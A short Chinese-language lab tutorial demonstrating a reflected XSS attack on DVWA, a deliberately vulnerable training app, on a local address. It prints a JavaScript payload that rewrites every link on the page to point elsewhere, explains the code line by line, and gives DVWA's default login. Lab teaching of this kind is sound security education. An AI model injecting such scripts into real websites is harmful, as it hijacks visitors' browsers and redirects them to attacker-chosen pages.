XX攻击——反射型 XSS 攻击劫持用户浏览器

我们先构建一个反射型的 XSS 攻击跳转到存在漏洞的页面。其实也可以在 DVWA 中直接进行攻击，但是我们处于演示目的构造了一个相对复杂的环境。

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");

for(j = 0; j < link.length; j++) {

link[j].href="http://www.baidu.com";}

}

</script>

JavaScript 代码分析 window.onload 当网页加载完成时，执行 function 匿名函数

函数功能：document.getElementsByTagName 获取页面中所有的 a 标签，存放到 link 数组中，使用 for 循环将 link 数组中的所有元素替换为恶意网址。

打开 chrome 浏览器，我们在反射型 XSS 中进行测试效果

登录 http://192.168.98.66/DVWA-master/login.php 用户名： admin 密码：password ，改为low级别